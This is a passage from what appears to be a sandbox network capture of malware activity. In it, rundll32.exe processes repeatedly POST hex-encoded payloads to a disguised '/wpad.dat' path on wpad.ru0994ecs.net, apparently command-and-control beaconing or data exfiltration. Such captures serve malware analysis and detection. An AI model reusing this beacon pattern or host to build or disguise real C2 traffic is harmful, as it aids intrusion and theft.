2024-04-16 13:36:51 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:52 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LpiUmqHi4uZKZUQpgG%2FmgqrpNteIkfORpwGb1dbkDnSBQLRSeQ6Pdqn7zwNpu9DHxWDs7pgMZB5kmJeK0GmGvosBU%2FeuQdLtVPaYTyr6r3RE8N9BGQP2mF9M1Fp%2B40sPImgGxfc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875491147e60b09f-ATL
2024-04-16 13:36:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.8	49807	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:52 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:52 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:52 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mPPxLfoMVlZqhTRod7ZUDdXgQsPHF%2B7fV8Zh3wV9nr4LeBj2zni6fJ4Et7LWyhDyVQZdvgPkZ9Z6yAH8H3X%2F%2F3g%2FP1CDd2FOnxU5RhJYlmjglWGiCLeTom%2FDBqZq%2Fp5QPyVNGP0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875491176d8badcf-ATL
2024-04-16 13:36:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.8	49808	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:52 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:52 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:52 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DyDZW2X0y7yss94TujRRj%2Fw%2Fp6JFtdo%2BwSA8cz5b5uCKxnS3UToBb8iNkhBIxpWIw334U5l8m5LVHHpwZ9mzXPjc6cfhYZ4K5WhnIT5c6MVG2d3ZP4JS4rejSRt1DwoDjVLiiGg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875491181af94569-ATL
2024-04-16 13:36:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.8	49809	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:52 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:52 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:52 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SL8VdNmroYlrVFrYZKl9XEGTmgRjQ%2FVW8%2FSQTfD5pjYby30cssD8ID79PfIgBVMfqIwiblzDD9YQlALkZejdIMr7V54ZYuokca%2BUuGJfZ%2BINTW2YDuPHHWuM%2BOrLjcsFoFtBcV4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875491182f708bbc-ATL
2024-04-16 13:36:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.8	49810	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:53 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:53 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:54 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4kn4dzzX1mHP81%2F7VxOUA%2B6RCTnIXusoKY1jJcGiWPKQsKmIZVOj0bDnbLc2MELd%2BATqglh29TOUzUhSIhNgI1psfjd23ITSltt8TLRO8E4SQrEoBwghHSFBSv6TlIDKrC4a1%2Bw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754912148ac8bb5-ATL
2024-04-16 13:36:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.8	49811	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:54 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:54 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:54 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bhoYuoST1mh5sUK6Kj9hfA1WmC53FcBbtYxExhG%2BIUvp9ZgawMirh1TqI%2Fn%2Fc1oP4FvVvPv3XKq8OAmLQ6gZHDKviYwrMuDclfA%2FX2WXr9ooqziZTo9DFP3q8veMFM5lsKaLiU8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875491252891b09f-ATL
2024-04-16 13:36:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.8	49812	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:57 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:57 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:58 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lrj4y6oh9oUT25lKqu29ad5lydlAomGUW0phDb3aS8V2jqw58yGwTZPx4hKNh8uQRF%2FoltD2SR5aRTEZrLgVH6oXB8vEkxoid4sqjhGBMr0OoSpK2HvGqqHC%2FbsEfRaWipTFqZg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754913afe04b0c4-ATL
2024-04-16 13:36:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.8	49813	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:57 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:57 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:58 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Cs3KRGjZ7Oj2bK7wcWqvrUbUQ0ZpVIkl7%2BZ4BFR3mzlDbAS3o93yGPqpk%2BpsxeI0OEpwoAPqy%2BA3dhUV0yw%2BJ7tK6qT%2FE5xTLHNMB1ldf8aiP7HFQ%2FcIazWlzZPPYZJbLN1veCs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754913b3ee75084-ATL
2024-04-16 13:36:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.8	49814	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:59 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:59 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 65 31 62 30 31 62 32 33 61 61 36 35 31 61 30 61 39 64 36 34 31 37 38 38 36 34 33 31 66 63 35 62 30 65 34 31 36 65 34 30 66 32 65 66 61 33 32 66 39 65 31 37 30 35 66 33 37 30 63 61 32 65 33 37 37 36 64 66 66 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf5e1b01b23aa651a0a9d6417886431fc5b0e416e40f2efa32f9e1705f370ca2e3776dff73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:59 UTC	541	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RUA%2FHBKq8f4cDw9AX29uHYPUR8cLr7f7GYG6Wafj5l1mZ4v733W%2BWXS1%2BwEQD8ngmDstyxnfeZ8B%2FAwOhG2Jcw8A%2BR1U5JbUJgxiALJufEIomS%2FFosplJHoVIJIwbrJjaah54%2FI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875491421abb4588-ATL
2024-04-16 13:36:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.8	49815	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:59 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:59 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:59 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nUi4a9rGRT6evxoP4wM2Q6GStP%2BvyQWkHvex0rokypPtxgmta7WWQ82GX88FJgIqJuZ25im4r9DqF0CfHkjFVlRwnYHhwftdIN%2F4mpbJTLVvdJ5zdh8bx1aBfM5ycW5cHPGjVFU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87549144ebcfb06a-ATL
2024-04-16 13:36:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.8	49816	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:36:59 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:36:59 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:36:59 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:36:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KwrW%2B%2BreBnByauTteAbQMy9v%2FW9MOpw5OpBwsPEYZQTlKxczP65x4GcMVCkSjBVorxAjJ2fHUtthCyzp7T63gJzJor%2FcuHMhMqkxr%2Bj3sdStBgq8tHTUtlDicPyAfyIT%2FoiDiY0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754914518734572-ATL
2024-04-16 13:36:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.8	49817	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:01 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:01 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:01 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L4nIsQT2d44v01ZnZcJ75cRsOsP5catv4Z91Pks0RhE0WoVH4n%2FZzbD5buf%2Bn%2BOG63Ye4SucQry%2B1XH2zMNlTgzztMpH9aj31oxjvCv2IukFaJeBL8q0IV1VvZLoI2U29tgV4Hs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754914ecdc8674b-ATL
2024-04-16 13:37:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.8	49818	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:01 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:37:01 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:37:01 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:37:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4khPhdTcJ041vWKiuvip2Vn%2BRPFgoj4JUjJTxQESGILFCszdrXX8x261LQoWkjEe5qIBtDsh2OHPOcg1bNKD7iDwtCP7%2FUUrmAQMVqPx4qQtH67hsDbP4iLvYrX%2FIF3uQCyAmB4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8754914edbf307ea-ATL
2024-04-16 13:37:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.8	49820	104.21.62.151	443	7820	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:37:03 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
